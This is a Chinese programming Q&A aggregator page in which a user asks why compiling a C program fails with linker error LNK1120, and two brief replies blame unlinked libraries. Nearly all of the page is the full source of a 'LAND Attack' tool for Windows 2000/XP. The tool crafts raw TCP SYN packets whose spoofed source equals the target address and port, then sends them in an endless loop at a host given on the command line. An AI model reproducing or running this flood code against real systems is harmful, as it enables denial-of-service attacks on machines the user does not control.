关于网友提出的“ Debug/fdexe : fatal error LNK1120: 11 unresolved externals”问题疑问,本网通过在网上对“ Debug/fdexe : fatal error LNK1120: 11 unresolved externals”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:
问题: Debug/fdexe : fatal error LNK1120: 11 unresolved externals
描述: 本人在编译下面这个程序时出现了以下的错误:
Debug/fd.exe : fatal error LNK1120: 11 unresolved externals
请问各位大侠如何是为什么啊?这么样解决呢?
#include
#include
#include
//#include <#stdafx.h>
#define false 0
#define true 1
typedef struct ip_hdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHEADER;
typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSDHEADER;
typedef struct tcp_hdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
unsigned long resolve(char *host)
{
long i;
struct hostent *he;
if((i=inet_addr(host))<0)
if((he=gethostbyname(host))==NULL)
return(0);
else
return(*(unsigned long *)he->h_addr);
return(i);
}
void usage()
{
printf("==================================================\n");
printf("LAND Attack for Windows 2000/XP version 1.6 HeiBai\n");
printf("\t Written by LK007\n");
printf("\t http://www.heibai.net\n");
printf("\t Include Auto-Resolve Host to IP code,\n");
printf("\t can input DNS instead of IP Address\n");
printf("Usage: LAND [Host] [Port] \n");
printf("**************************************************\n");
printf("LAND 攻击者 for Windows 2000/XP v1.6 黑白专版\n");
printf("\t作者:小金\n");
printf("\t http://www.heibai.net\n");
printf("\t 内置DNS解析过程,可以直接输入域名\n");
printf("使用方法: LAND [目标] [端口] \n");
printf("==================================================\n");
printf("\n\n");
printf("\t==================================\n");
printf("\tLAND Attack .::powered by LK007::.\n");
printf("\t==================================\n");
printf("\t(C)2002 小金 版权所有\n");
printf("\t感谢:星坤,笑天梦无心,FHM 支持\n\n");
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
char szSendBuf[40]={0};
BOOL flag;
int Land;
if (argc!= 3)
{
usage();
return false;
}
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!\n");
return false;
}
if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
printf("无法创建Socket套接字!\n");
return false;
}
printf("\n\n");
printf("\t==================================\n");
printf("\tLAND Attack .::powered by LK007::.\n");
printf("\t==================================\n");
printf("\t(C)2002 小金 版权所有\n");
printf("\t感谢:星坤,笑天梦无心,FHM 支持\n\n");
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("设置IP数据失败!可能你的系统不支持!\n");
return false;
}
printf("Creating Socket...\n\n");
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));
addr_in.sin_addr.S_un.S_addr=resolve(argv[1]);
//
//
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=htons(0xF1C);
ipHeader.frag_and_flags=0;
ipHeader.ttl=255;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.sourceIP=resolve(argv[1]);
ipHeader.destIP=ipHeader.sourceIP;
//填充TCP首部
tcpHeader.th_sport=htons(atoi(argv[2]));
tcpHeader.th_dport=htons(atoi(argv[2]));
tcpHeader.th_seq=htonl(0xF1C);
tcpHeader.th_ack=1;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等
tcpHeader.th_win=htons(2048);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
printf("LAND Target:%d\n\n",argv[1]);
printf("LAND Data buffering...\n\n");
//计算校验和
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
while(1){
printf(".");
Land=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),
0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (Land==SOCKET_ERROR)
{
printf("Land error:%d\n",WSAGetLastError());
return false;
}
}//end while
closesocket(sock);
WSACleanup();
return 0;
}
解决方案1: 检查下吧,一般就是库函数所需要的DLL没有链接上,或是声明的方法没有找到
解决方案2: 函数声明了没有实现。是不是dll没有加进来。
以上介绍了“ Debug/fdexe : fatal error LNK1120: 11 unresolved externals”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:http://www.codes51.com/itwd/2964980.html